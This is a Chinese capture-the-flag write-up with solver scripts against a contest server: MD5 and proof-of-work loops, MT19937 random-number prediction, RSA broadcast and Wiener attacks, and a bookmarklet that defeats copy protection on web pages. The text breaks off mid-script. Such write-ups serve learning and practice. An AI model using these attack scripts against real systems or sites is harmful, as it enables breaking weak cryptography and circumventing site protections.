Contents

mayctf writeup by Mio and K-ON!

侠客行

计算服务器给出的乱码字符串的md5码, 虽然很简单但是那个乱码字符串用recvuntil读进来是bytes类型, 转字符串再计算md5的处理折磨了我几天, 最后用一种比较离谱的办法搞出来了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#from re import L

from pwn import *
import binascii
import hashlib,string,random
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = remote("124.220.41.254",11111)
io.recvuntil(b"2.Go away\n")
io.sendline(b"1")
io.sendline(b"qwq")
for i in range(6000):
    io.recvuntil(b"say Goodbye\n")
    io.sendline(b"1")
    io.recvuntil(b"it: \n")
    temp = io.recvuntil("your answer is:")
    print(type(temp))
    print(temp)
    temp1 = binascii.hexlify(temp)
    print(type(temp1))
    print(temp1)
    temp2 = str(temp1)[2:-33] # 把后面没用的部分和前面的b'切掉
    print(temp2)
    temphex = temp2.encode()
    print("hex:" + str(temphex))
    temp3 = binascii.unhexlify(temphex)
    print("temp3=")
    print(temp3)
    md5_val = hashlib.md5(temp3).hexdigest().encode()
    io.sendline(md5_val)
io.interactive()

题目给了很多组用相同e=11加密的密文, 应该可以使用低加密指数广播攻击, 这个链接里的CRT库我没搞到, 就搜了个中国剩余定理的代码自己加上去了. 网上搜一搜(可能要多搜一搜)就能找到类似的能用的脚本, 搜索关键词: ctf RSA 常见攻击方法. (我其实根本不会什么RSA, 比赛期间每天开几百个标签页翻博客翻wiki现学)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import gmpy2
import libnum
from Crypto.Util.number import *
e = 11
N1=154138893031950812804120948392603124557242211711277485061308240993124313732211279511595626583960246423479654669364018699007198897071143217441546155862747358089010644925573135881922236213189698270399946058171344534655622607039586875029687431154950177266012626738593343071988943186407181296514810694125864081601

c1=98926344515647504399225636761528905645802532545693544694454785735305460919596903128833557069325326661028104317297047000856917506618855594309699165210683905794978867356051052331549983749375117383872431266542883572114869378410172099323818354572916315128154668223806222726070664367065915499268980993779253935516

N2=86514617485057897645877877418810404600688645086661842357280958678200768337589100841627012103955019580351983040655055714800184344630539935518655330463075763577593277665589669070278531373336409696818356721984350712552889427669020392579023797538026839552974415794008382017493143944888703124470202551078659352663

c2=75056078801263431079154052442172576124247895253215563207944841902878348017296790510141871346270856063609200053538294111688354692167473538962578731670603307292512882273455961882186047557763940416337901627796005455143645618218009618519299047982258181099409200443275348991355231229301221271732672593076692584463

N3=96961438177994617287121862157619616095852607608269576230762622935734008477003719886243109902819559250956050180744915278738087849968306282926367947551601510457193338601494829396132477161737299626378362389850089329722900718313962190291093787064916802552726196020043029653806939907067734928802006598359428743573

c3=42911703221067649105514235481314094622057095399018731211874982055050166576464411206554227816570858912645373579734715079823062662335989984307422598450406222926220095131918464768493168761412593144835811018820748985266717652453878226446729626760052899652544606622539075350905147277324854643552338096062345040680

N4=96337917450464705638157913350494795554450624187488672278618351933694294990281550536183239162339210424676879236832141034818371118158745922339374148740628023451682938986765653759749890630877193004099940290835878699738939306373942395245867239942935260102954160344387749817357504790873523115689914505120814358019

c4=94896163337747811212289297272205182973538660292147353603196072220447652940721106445001416052540533052966523491426190055204945991143374511264716382604593330452124509417674088865359204632240978514623561181739183049396718271248990299809518521536504844010314490056922171155978748053034224581391503245938951437468

N5=159065026528024471678677993629761300832469771126148910910761078671979319233124404804248443572761151491626452844755848344554663284817854141285080988173410568359037103145102346833636270833083899615413820078030032685265923088526838814011879631003108432555095332817246395680158765289946784702648142394647310563979

c5=86436414993877789051660162717515603069480110129645698291780910638982761956599901036160019618500844176719858011551842647062756517490861485351151784203554780588388517618072139128245625214292430739697415380771981734790346798275647519527685534841001515084062048710748882773830690095514966045223816034266594583141

N6=84620574105159916425196399826141040298335405956512236823234562195266757696468375881641065194345140520954038020477818803012182608903009675261842604850902920908875253122836400402666412538282095255134793266063434773354288303864915885962622703424802519680626137205395807107985618314509251648028278712126218889211

c6=9106762922835184222874379064216558126117386095853116976279091383507889403154957517755730993063421419625691478186715960911590095990314839054402428284810626894210136742089461859730677969913510417457600696319622661099835892819570903936880309306523897842994259050364642598148846778862860661513607992814691918437

  

N7=89936121475472740633167059878281734398503140971395439321918310883173535829903624606656242342708634685750385666631830212155004144004391860909687233971145851777902505583392190721540387255213928455127964041033682463123999637924174065461094676117581229343358596620218127490762793696736243352248170109665408893943

c7=43842991715947352190460826014037688180810033876261477532104503629364332329957653264411841616131354718369299489852603269595353806225176252028932846462355333815423042619774130678093235479179241349746986471252818063427593145611285907569800410207799887435331560066358156436933063691346045600963967428884721360005

  
  

N8=116906217043103733402724170537467078824057510412227534877412259852819300305628390449856242628969087230966569332490392472922989856328284088161057305357653484216497886732441434486829462533658327237316512070161343636354278736576472698236611344195947013109827796048057641984747545072892617987434637772288291483107

c8=95536710044306878021292129119759931001293807606066660126840775123734725871067543265467100283491433407245509224121358359850583267211123073686793400888027835959922999625308196064959980738416714267929274778355517284997844560592552424947284200294028204255657499216430181346806575712611140610453348961675408112572

  
  

N9=98161402015171827897399153413913214267801957594054211770762175132801605270627785725996515844546050895436088762011783896877507613057798601042749023461160976471212862282603554834781597847886033487437359021550413549265863419642075365997151490648589871967385530553151029894115169265147267060110478470403853609071

c9=64404391818861741559686772389035831518843330384251013652801845434910762934011003219432432620102516998631908336500662478548177648168275156908033432362054863891339129904345391327697285033393168382510757440768076346541346064583308037320457689326628627947064301808722818565529478776968433539208926792650352104640
N10=126459897652874774197682299180822106688855627227528749074933529855162039774028208883395208161647083184191847409385272038916818722891628776159907652869246476668793964365599369950748084712054419855618836373535226042436801386370551182508559111690094791572397029016964147201040250369206785562845358086334628150103
c10=88016544126869453025271006235459184119129876588147087271198301765555440880340751504304106302911097412493511267998389350418938758278733576111007909751405565002260926317210661875810008829507275702267022554094497443116026007267555673098658193561778542253930737415814707966913961316769690948617457245309890410107
N11=90523265236905011923632530594230469015973215712730089040874849568503774801339288891007690757740178604793288355822464994357750604782104611725557481346370054543858450069099128517781945430380192975805455976104337262951363076655423409933315653280731643815427794770807718971303034755540654930315522129390516910479
c11=57374092619727421933449047393577027369502356823125324820851127562427916436441563599173000788239726161111294755990907733073729928812260834123854612135552919673114492294179599577550634680680392690297606854950527044736975119439420644429990256372605101268367021155616808450554773488187932696069410159654122424637
N39=81670119627949983252496916334549084235428399173715817044154785090470747398332868655128001786132334328511808976862858478494453297190759154368252211335089851369583513269768328320871489679586535629129171561057166095998777253913179180276987136045706628523151492034959499637614912002197499978021054381657368695781
c39=24210216883330989098807806841246125101585589568786429494268396841836402344898284101147827080578714611816284205971400457652033247563205177323901183286432544902227837056199039353245081791997564826477673447352401530807623942353093782407602424518009343746778571786693857572504648636455532009012221702018194693289
N12=169529803798513450491645319600617611552158306930228823466746653594821537873705926860806111076818585496927115087095632930935363672263895440446692331415278019383427719726438068026937267583820610227535962499628239142579935652007511673410705373150654076403452674023461712054459961389146478929282665158929803930017
c12=7065868381437595043620263805658491337034551819147785116105159106221010962432108268074359231499926836201643317382646656165031655986825089572080444710240563874052373424697841196835268826664040627306760258858865176748414328415543236452616708549642716146920254389653844203236128995646635756169684246663524661264
N13=90251089117275176814512304428138053906341809822232841806087165303756500501328899544920742493192870621949418391740479821197583260274220410918371513713409166599292491802308430491471592858105159356337120337754486450698511368593580202490916476370798057533810459334723339560355153777343729958104882894423078564149
c13=64068309522817320029431016998405988805096009736594191669512460239511601950138853541544646781556181940272685286085359961469833915652069873992689764594963824801832187924248406857280754114265807150479002493081756446817385604603235326140397095906511130559059911880427795459259239438900277186987112540174172945221
N14=116639317711935677840871254987730871732680180810860757555360668358304921627923574432113625063814566304424459166837186366078017795523534291992028631810531588658115526027356829685324973302694683507522541678135565539748039708867650782283306422228990274895369936163744519230071013113761479853294131906662221631433
c14=75000764848156365269680006189958827955526432541463127778938350444094392127325030849609585573798346452238836114337488818977805857373081595714181535428261934732801511061987265401555754496456308627892421311248559674532069518681720546223922378409070306559118396926173472762843743630175469659086608395278265681462
N15=109660341751096046990128530863216186338757261196095412059532937782375578749652247156269741430834280618452793033314110866531281502688365303288396372036359205559526732015341933467667468872007619422073333342863467787862269451318794730607836919629141264030606026807507406889311970797272680198446275931669015350903
c15=12542092257909378989219976524391683797937564184608042010025208377767896356469000770476768309465682279041467542981750427229661437342510834543615778540005891112112788210955701408796945403277152565919252795247046227522133248935748597351313313434866065670982335834286549133028971346431119296304836339906187846598
N16=93097436992615869545867773877147329564267592788883745518755034929525688605438216356425969727087892089475258685734227786043566304664259695694145554706758440754405261922851823921065713777886276941670307039700792161418188450456439877344918664042721565017989721691607994564725734470072187121966916034834656139941
c16=52431552645916175432605083498992834609740130348265210660091904065057416066584408009759911384086096465606907975224304274353251207912847682282790464878471545092973709433166629835344734878402049596485196718868507654728697986834067448339697861304413650464324124912177938315644648879315088765320451493043738949599
N17=91164927151191746163536930822661296614701837227418931251529481827725532380288791634168030403365234637012361330875384489066426966747115680272334862004614365005670618696422383168302888098926313752967498092234653832442566447356898442731746457167408429512153702685949167571723140114854458631054595754578480785107
c17=82685023795955688767835150720798958685599752439442118558596716856423580398929648363617427844607314265269108199767340847342555818725607380692852631814513485082793726143163817561665804632948924761833079653280687913377740555999420309299195262659271438060898345574164349661093678668013890609290237756772112098780
N18=160907074872239638480863271693193267274524048362790845037448900133747195513104641591952629615737183773681917861911656936623079636217998408843043099933910446465684782836614532354672552028134878334613398053512415159776028715474215293271376711875827861973587744487862610116557921044657046859007956721000033256471
c18=43606242134093104214293679079526848663326021689489271149886950853341546795858726269607786713739574119464263490071161165530952353944479600565307752302876201075817274551319679307505240758836891367883840715251519994579133946146012742870798844346292808071885130034577534232883513931537029651778859299180613820882
N19=92015499296760075577213613511448254446574755827298621306165117687902258634204117996597464206937106658221072199515745660532878806384734780222160366320508902740024679447643381402224320300378764724994670570509804911461344468912978636254053261029174071908883609696185157287008528260762197541085732125010958424469
c19=52699754051425106757132605915797898206069346146615850319793560279264287385280167162467092147886753765646824659788726662863575225848524500248614333963258880602606489915480007718239136542082313518380636717524431061051269485070152563852808709619396748916347784925432811446758686227269557631110242767141004616093
N20=83586958615723653897168317892220788861070491105925763393619087422033230505803598644043469028323388057932220948282271227831195083623433217561794574579201178100143075688291088303950598426949309128913146971075791321885226553790199074522182040219891293141083196476256601342649750132469220334624604721856979735861
c20=74238289084680398681440247808780739010558398507900807761542035815431380032995886704055559629206214962380011564676438043819800376563192147682012333204333753296675518173838873853195023809806855242172003100055920916312014605306481363246030733595151340500900344369270365025897108834592996750466894837845675362748
N21=121100709360896970969249094025726418356132478193345707652657579704705632159109770778440677274082358085597188124419484435618655130617898856340986648881908479080839400987620621474168858155621483840015184300352055361892864852037423263401181017840720589271552963563043871820215520425016502510121505480795681364477
c21=12720693989537868444374022925765446195382400610509750470953133736632521125317613575520914934323709272676626428547635230803322114566946627106305863857358852068045967353322464376394781718157220736759553285763308944982051089283914403661231411853101408146105888522744242013496899574051765285439394995699029680814
N22=130023158002071052749116863570816289436306504244535770025749825621605599862269967903747567745419616730813878744771415056928145774841831438725373565314259319857814759677262010335462056978825428893094806777337814670236814561381105814993497000449151983815043362889873933568605499381268971678692453096467513747309
c22=84175712791052700972243425890370203478035316691439447504311335211811138147379914779696292431416762197327673247173334039508624922087740677511849227971060941512112137433608540383866188050012284730188371137047485536396045555449027417678441589054743428765473837636656914448713562374470423735684718439463995580699
N23=77073817602287131555254359432494446231172722700231648390455033598035967152516027896407733404138474281837646089230372355002878047643529250587868797272293029981675911795091831170685881955274501691011599193032603498440986830172904436957287339634435354501743126213476660874033593272241835551093669762765687451201
c23=52937917248726416252155903140681765295617342348778034071277423713258715897882236825966182441818417366666744234609813148515231938915732490161628716399321550002629349263946794295202159008327038311323200336283971216510645403542226635942558817292454608023103732273552661879758928175078802213144950793816317452359
N24=159605116809159924209459588946228623472344911093186697985964817980736312477372938844719579496308384038552003215934279828670413686285599963021307512977068373512562084036391694071143539128649355250571997597665922629372273629432648994250022030430116083821512908006448435889426836708205387533037432718898814122399
c24=89112507538138535202042355657336849081995313360329208155325220909050865806588878355701357557125254667634311596550160604674157145615073820907265606587082773992922618839649642331637514472199646323380093806050995898976995794912950665037286299669115653960789334819721863556994090514782661970984107660324798399917
N25=97193776265881200512099959579884062297632318890020475121937261431380217899795267176007632504710411132113464728022303078864734626174643951794470180549376725683000104922301985564168140633113007682781485762816141008424553050420325862375801967649968738400235590430360578159345124222203172335629117774533246641789
c25=83144114456952040619411106853217490222812915250149014011779754363766722841522728966115525802718768189510391226706617779070097822479682445310903118305394698585637225587732280361320405085370039059737967175120881510205037367993068288734193292554111269924494164442106473447883356058310698871193339203106945262517
N26=105757037903937722487180519406212793708213071659047432880126306088857411907494097755469112286058472633154929478470472783341496399053263841379265549098574353098189057593629164552334544745757256054267267149803635497064888863906486522209772677566662682622048034495614717885196363293020305801303181071091155185861
c26=98162873831982779091372683871961425447200292831594215782964488984426215572344144864365636277095302563932329121285323744443276431723857590423362540143626067045277386022343231651412338262018070559856751822529722330326914601140042990012627322375052429779475948482386007887618425077639081916770971898019490684424
N27=146329717897549566433080958512788519960767437959006167730988026888396578783631212427453442624306797806542321998413080971745523716767328736619685761004343294451412156549352566505422957214313966538619030435974629701470711251790649576615683426700475924906901306960144378236391730136597546801299090487177108546221
c27=73750262507339679802459717390798788748139652522634940811256307822642446973553028573462039571679615717218521117724292095080554768829956003421412781764389300082854186171372138764401064138913817034640050537875633666434366519481758011518511638852847055715955876893657508443485811195220477269813530776502525925746
N28=127433562212479183655512550122575298146756560724782464019650656981827136088919423480518521694147708759441666792735284764121893703077812168592165706200080319916061291140551753218717630087654410258906465112798219573179876688999389419772881351824819332899394204084586045214950193380530546032344884289242902670673
c28=92050602172070112650538089077196165786631187696643373720194000135232592947588020933734709833514123717900586182989579634324012864190507882614730835419223952607040843684126216516272309892063517654252838567389941810180308258558412006709106261528579881279361678946591958537983042642350178784035937499390390522590
N29=95188133644524815180662050456114460680778770835773458068506086568663570207232245799794219772905514534911633889851932952844853101532110822130938677915668313647605494991071067193356668345054875332019427533514067616429120634775733078027287408167139169696710218841706103459073194242094427468587000648703838214589
c29=40376177627254201057426252196203450739880605792917553707700458702436732205061958027203512807417221611156830566462688422305931722299645145717307897645155090453258524447522768704380590884753984044305324442516419128002240766558403763816166310421896090205788598455996976255355785253165557358337406959652320874550
N30=96396048531336160554751715051806582706888702217120820736948463508684578289679588027938310273585671851309024248467377313722738737171436765431701406432441299853389695867026658464990395702109584501954032198355679566328988776061090034159061744320409797151971859011076930123972285638958776181672662599103077906781
c30=92293415922859585498653985637153927145892627000869432253482686289319559612059965189481769789425542674159285614244779938604239860636908475398145198805338386643388660702161354386952346322368831741704644129571228967026613378189177810052787632990731699711535294622493969646152173953526013126316906756819881734917
N31=140687723999597912768458796000654289698428334929823187131164535347813568731314469483559357536508879225489138985868771294957050865629994091057165632030368929157840325183160917511395257727889769796463326331538462205189787409414653088820950276325324958549411031866830456356475508486982366049870224058491248160769
c31=65076758033522761252574938533221816329900301279162697266584785474598116432723633746820934248041289897403271593028921808449343259926675780734040130529333214623084900719329059092312366336819403393172554488077157772373609714400427233355796787767679193685103452393120646022219671895735449471973417571432702919993 
N32=94707622144846451025572981749611751184623914868138499189762124873777266137958251418994459110138496618889490501882688668274538786173981498796702904442200767488570240726591216949701978221595825475987101648767814925457692394364515999909915237378890047567351780396392288899515189200292089985260769933533846700541
c32=21525991450686306472653638514280591656664559699971602233991559552462347743338816160889648747168556168073122102644618300949490833937564922463915815371518108695210201523341900081406725113742756558775152906961623998584897927060130298854003634178042187484364302099751799831875988861205688852075801605423997413061  
N33=62608896879254654024496937422387447816684395660690393018684516930955930337865684986967011981495925832683773596187952810532789522355853104046619610108515410588297472979636064299776665412667926321420896457750209938751428270393508083413368959679119608245583235391387682494886692607776092295804235816778089874391
c33=30395382662691948650495506924237218139107095795267729640935145097964273835253452107777356318807288632497197417789867956151559785791748505947837103163286293658583394481732823597298184879571781625072370941601850718004620875506084956160224923244666245387527694939163223174244563955412298037796322182459088554002
N34=51696058328010318425543804368815927071240871607109090911716045342314082537180872291003321410329752202225104739558838987626635327018597899437774030675442701298027780237311754521085970646904768957350906146753212926873707494199341307554475237821382764716585201166544014083476386095954614457145647202980770148581
c34=1749681837052441106618238300968827667033166155377947349079144997752430932314759351643730128525363629201531147738518796058546074744293121402200059636699970464591387921021524009713035205674915303587774738808165802928876529542241637324800652040531397802320569152902996061153620771378780242350843395895162932444
N35=123992641197809404108351089890866152203184544840416525653649353361420084343688882845179211876827049896629241910041322094825602418578536106893833644252537577005412470058490278664033718564366908695486058750333840135380719252162087483680057661073599435493485728464552345493600433423027202805634510717606031054327
c35=102946674504442771106656201712599674332797688476008941833228991853950357057709955567277820545622052232143254590804909107168333676596043223193392657851143955015816836278280377056944061615374134339324890522324871342432437956353855139918173509176870535003093824694977332886323881782382483069351799186756953720128
N36=107460493319780886789061621624182543042893583427188192891313532598654152903659420713113700899401922029433065140057759480710382660838898444915385001505694061036951067322184218897759139489462180679924453307873618165993791830048908333151289022148546470362214335082846969934793714141019660147900765822215432661601
c36=31956202727296712033512255428999606225115497170141164926105051231306215900670498363261171753142161117352878130228027187574042555912013435004272225777259364790241769554991613593165474700102606978674259741217294830930602092580216909250320971916966142475632495491929248248503751352186528173760850121841711180736

N37=99468811051653495980914749946072083631047887682329382463091279003899855725538835826756821788147381433983695138818906249850156024826396142850027667939663077796263589623602160956471975630934778268012791316190485648301536736320533077805441054736803446016457284759965768178635408468360459730647985619290576398977

c37=45962601724433138049133765054651713436081340632016259594288475188577030553070449132002382525193866773617442936586116629181871016304560154591875311410888762072706492233951411164970666794061739184778830210012102027036510614025135106297458523761164212145334141435585842341090693191225210504608956792495343162120
N38=90599466165249253444304938646383871521279719895746316317621440148342183466642520144131079539900283030518967313562402383571977124626080330378521799342350976415489213365307340638737855738024300665153541396630339776227015372764599685883091462192340960160770376105044242668674157773579834558916927148532894086871

c38=41726377772629638338901520502084215410823776644305222031034152170836411444069670576710623098361907921721900806723415880313236214089764085676413101994294144915920960629170065172747431809115643269469087516850518995181693449774745993153372449380746241695416557078508253658201661456040842993492896733974592316092
n=[N1,N2,N3,N4,N5,N6,N7,N8,N9,N10,N11,N12,N13,N14,N15,N16,N17,N18,N19,N20,N21,N22,N23,N24,N25,N26,N27,N28,N29,N30,N31,N32,N33,N34,N35,N36,N37,N38,N39]
c=[c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14,c15,c16,c17,c18,c19,c20,c21,c22,c23,c24,c25,c26,c27,c28,c29,c30,c31,c32,c33,c34,c35,c36,c37,c38,c39]
e = 11
k = 0
def crt(b,m):
    #判断是否互素
    for i in range(len(m)):
        for j in range(i+1,len(m)):
            if gmpy2.gcd(m[i],m[j]) != 1:
                print("m中含有不是互余的数")
                return -1
    #乘积
    M = 1
    for i in range(len(m)):
        M *= m[i]
    #求M/mi
    Mm = []
    for i in range(len(m)):
        Mm.append(M // m[i])
    #求Mm[i]的乘法逆元
    Mm_ = []
    for i in range(len(m)):
        _,a,_ = gmpy2.gcdext(Mm[i],m[i])
        Mm_.append(int(a % m[i]))
    #求MiM'ibi的累加
    y = 0
    for i in range(len(m)):
        print(Mm[i] * Mm_[i] * b[i])
        y += (Mm[i] * Mm_[i] * b[i])
    y = y % M
    return y
 #https://www.cnblogs.com/lingxuer/p/15018137.html
# print(gmpy2.iroot(crt(c, n), e))
res = gmpy2.iroot(crt(c, n), e)[0]
print(libnum.n2s(int(res)))
print()
#https://lcark.github.io/2019/11/09/RSA-%E5%B8%B8%E8%A7%81%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95/

读代码可知前666次是和baby_typing_game一样的, 只需要把服务器发送过来的随机数发送回去即可, 但666次之后将不再给出这个随机数. 那就需要我们猜出这个随机数是什么. 观察随机数生成的代码.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
class GAME:

    def __init__(self):

        random.seed(urandom(32))

  

    def deal(self):

        n = random.getrandbits(32)

        return str(n)

我们知道随机数都是伪随机算法生成的, 可能会有预测手段, 于是搜索随机数预测, ctf, random.getrandbits相关信息, 最后找到一篇文章. 把里面代码抄一抄即可.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
from re import L

from pwn import *

import hashlib,string,random

from random import Random

  

def invert_right(m,l,val=''):

    length = 32

    mx = 0xffffffff

    if val == '':

        val = mx

    i,res = 0,0

    while i*l<length:

        mask = (mx<<(length-l)&mx)>>i*l

        tmp = m & mask

        m = m^tmp>>l&val

        res += tmp

        i += 1

    return res

  

def invert_left(m,l,val):

    length = 32

    mx = 0xffffffff

    i,res = 0,0

    while i*l < length:

        mask = (mx>>(length-l)&mx)<<i*l

        tmp = m & mask

        m ^= tmp<<l&val

        res |= tmp

        i += 1

    return res

  

def invert_temper(m):

    m = invert_right(m,18)

    m = invert_left(m,15,4022730752)

    m = invert_left(m,7,2636928640)

    m = invert_right(m,11)

    return m

  

def clone_mt(record):

    state = [invert_temper(i) for i in record]

    gen = Random()

    gen.setstate((3,tuple(state+[0]),None))

    return gen

  
  

# f = open("random",'r').readlines()

def test():

    prng = []

    for i in f:

        i = i.strip('n')

        prng.append(int(i))

  

    g = clone_mt(prng[:624])

    for i in range(700):

        g.getrandbits(32)

  

    key = g.getrandbits(32)

    print(key)

#2990136190

  

io = remote("124.220.41.254" ,"11115")

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

io.recvline()

temp = io.recvline()

print(temp)

temp1 = temp.split(b"==")

print(temp1)

part_proof = bytes.decode(temp1[0].split(b"XXXX")[1])[1:-2]

sha = bytes.decode(temp1[1]).strip()

table = string.ascii_letters + string.digits

  

while True:

    XXXX = "".join([random.choice(table)for _ in range(4)])

    temp_proof = XXXX + part_proof

    temp_sha = hashlib.sha256(temp_proof.encode()).hexdigest()

    if sha == temp_sha:

        # io.recvuntil(b"[+] Give Me XXXX :")

        print(XXXX)

        io.sendline(XXXX.encode())

        break

  
  

io.recvuntil(b"chance.\n")

prng = []

for i in range (1,666):

    temp2 = str(io.recvline())

    print(temp2)

    load = temp2.split(": ")[1]

    num = int(temp2.split(". ")[1][0:-3])

    prng.append(num)

    load = load[0:-3]

    print(load)

    #oad = temp2[19:-1]

    io.sendline(load.encode())

    io.recvuntil(b"999.\n")

g = clone_mt(prng[:624])

for i in range(1, 666):

    g.getrandbits(32)

s = "Mia is friendly. "

  

for i in range(666, 1000):

    load2 = s + str(g.getrandbits(32))

    print(load2)

    #load = temp2[19:-1]

    io.sendline(load2.encode())

    io.recvuntil(b"999.\n")

print(io.recvline())

io.interactive()

# https://www.anquanke.com/post/id/205861

# 预测MT19937随机数

给了c, n, e, 且e十分巨大. 搜索ctf常见RSA攻击方法得知可以用维纳攻击. 但是网上搜的脚本大部分都不好用, 好像是因为数太大了处理不了? 最后找到一个github上7年前提交过7次的仓库, 给出n和e可以维纳攻击出p, q

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import gmpy2

def Decrypt(c,e,p,q):

    L=(p-1)*(q-1)

    d=gmpy2.invert(e,L)

    n=p*q

    m=gmpy2.powmod(c,d,n)

    flag=hex(m)

    print("mayctf{"+flag+"}")

p = 1490587079219338398046620290641082427994787180296034541527858514000071029343752406735847693977924168828149001457282074522354165319366595790326245635098271773304354653474088493071314680542595377493305415990540332637745850468529896832892079272160975645522917094630190865096266981896643169563810687699889181129753293

q = 8157786915328735316695964080412156345016326373162388966201354262397384063917707519351757045573720193359894766595418350130794340294600225144713656030212381

c = 8541318851645545344930243969429110208254565388085191517872761876900839076065069888858514228262306414747946717710205279245215034198965473107281872193488118230733863861616328150112085500328432358109659088247825927281412808489490707737075292549138659022487851598377867926699203115994343831215533955081300618602617070303389413096018280325725402247611090721635884411321425677611344588261611431947370799546061778334598026059784862108006128306767927154553941313401810412831

n = 12159891771013595814091861874421237585413006358206424082455634832926323194345835046235391486976184552133143329591437178662345730209888807650947037014314586234738789951967938911343052092814756499927753883248059955719123797775174845540111932407799514279901643394655797001273023118185654706240750668406507075848502103921454045082847250889333760714185157556161149008265548298639622072127150613477361173938771419295716135315250527713627525487340817084800006139324924120633

e = 213430058491778540960760024438695043602478507503440169434257192452982713126550143463211986560696072631461520765079924616978705534621300264297689001753491674154760883840909846609800795144777305651106426279144796744740429593882387137111622972666648062225161733733882949499069602323754776638192717411131975351015616681736934546665843369748279104215149629133967947618281790436189006910280067044972668152130796424077182216525946728252724509629272536239924932370930844607

if (p*q == n):

    print("yes")

Decrypt(c,e,p,q)

'''

JuicyMio@LAPTOP-HTR61OVO MINGW64 /d/Personal_Files/ctf/WienerAttack-master/WienerAttack-master

$ ./wiener.rb -n 12159891771013595814091861874421237585413006358206424082455634832926323194345835046235391486976184552133143329591437178662345730209888807650947037014314586234738789951967938911343052092814756499927753883248059955719123797775174845540111932407799514279901643394655797001273023118185654706240750668406507075848502103921454045082847250889333760714185157556161149008265548298639622072127150613477361173938771419295716135315250527713627525487340817084800006139324924120633 -e 213430058491778540960760024438695043602478507503440169434257192452982713126550143463211986560696072631461520765079924616978705534621300264297689001753491674154760883840909846609800795144777305651106426279144796744740429593882387137111622972666648062225161733733882949499069602323754776638192717411131975351015616681736934546665843369748279104215149629133967947618281790436189006910280067044972668152130796424077182216525946728252724509629272536239924932370930844607

[1490587079219338398046620290641082427994787180296034541527858514000071029343752406735847693977924168828149001457282074522354165319366595790326245635098271773304354653474088493071314680542595377493305415990540332637745850468529896832892079272160975645522917094630190865096266981896643169563810687699889181129753293, 8157786915328735316695964080412156345016326373162388966201354262397384063917707519351757045573720193359894766595418350130794340294600225144713656030212381]

  

'''

直接显示flag但禁止复制, 但是这个功能肯定要js来实现所以直接把js关掉就行.

  1. chrome设置里就有.
  2. 我因为经常复制网页上不让复制的东西比如百度文库, 所以有脚本: 建一个书签然后链接填下面的东西, 需要复制的时候点一下就行. 不过这个功能比较单一, 遇到高级点的防复制就不好使了, 油猴上还有别的更高级的脚本可以自行搜索.
1
javascript:!function e(t){function n(){}function o(e){e[i].removeChild(e)}function r(e){return[].slice.call(t.querySelectorAll(e))}function c(t){function n(){s(function(){if(!o)try{var n=t.contentDocument;n.body.childNodes.length&&(o=1,e(n))}catch(e){o=0}},100)}a[l](function(e){t['on'+e]=null});var o;n(),t.onload=n}for(var i='parentNode',l='forEach',a='contextmenu dragstart selectstart select copy beforecopy mouseup mousedown'.split(' '),u=setTimeout(n,0);u>=0;u--)clearTimeout(u);for(u=setInterval(n,1e8);u>=0;u--)clearInterval(u);var s=setTimeout;setTimeout=setInterval=n,r('script')[l](o);var m=[];r('iframe,frame')[l](function(e){m.push(e),e[i].replaceChild(t.createElement('script'),e)});var f=t.documentElement.innerHTML;t.open(),t.write('<!DOCTYPE html>'),t.close(),t.documentElement.innerHTML=f,r('script')[l](function(e){e[i].replaceChild(m.shift(),e)}),r('*')[l](c),c(t),a[l](function(e){t.addEventListener(e,function(e){e.stopPropagation()},!0)});var p=t.createElement('style');p.innerHTML='*{-webkit-user-select:text!important;-moz-user-select:text!important;user-select:text!important;}',t.body.appendChild(p)}(document);
  1. 你真的不知道有这么回事, 但js并不能阻止你从html代码里复制东西, 所以把html代码flag那段复制出来, 用ctrl + F把</span><span>全都删掉

把网页上的字符串打到输入框里6666次, 我不会写脚本, 搜索了一下发现可以用python的selenium库. 自行搜索安装方法. 给chrome所在位置加环境变量会方便一些.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import os
from selenium import webdriver
from selenium.webdriver.common.by import By
driver = webdriver.Chrome("chromedriver.exe")  # chromedriver所在路径
driver.get(r"http://124.220.41.254:20002/index.php?start")
def test():
    for i in range(1,6666):
        t = driver.find_element(By.CLASS_NAME,"typing").text
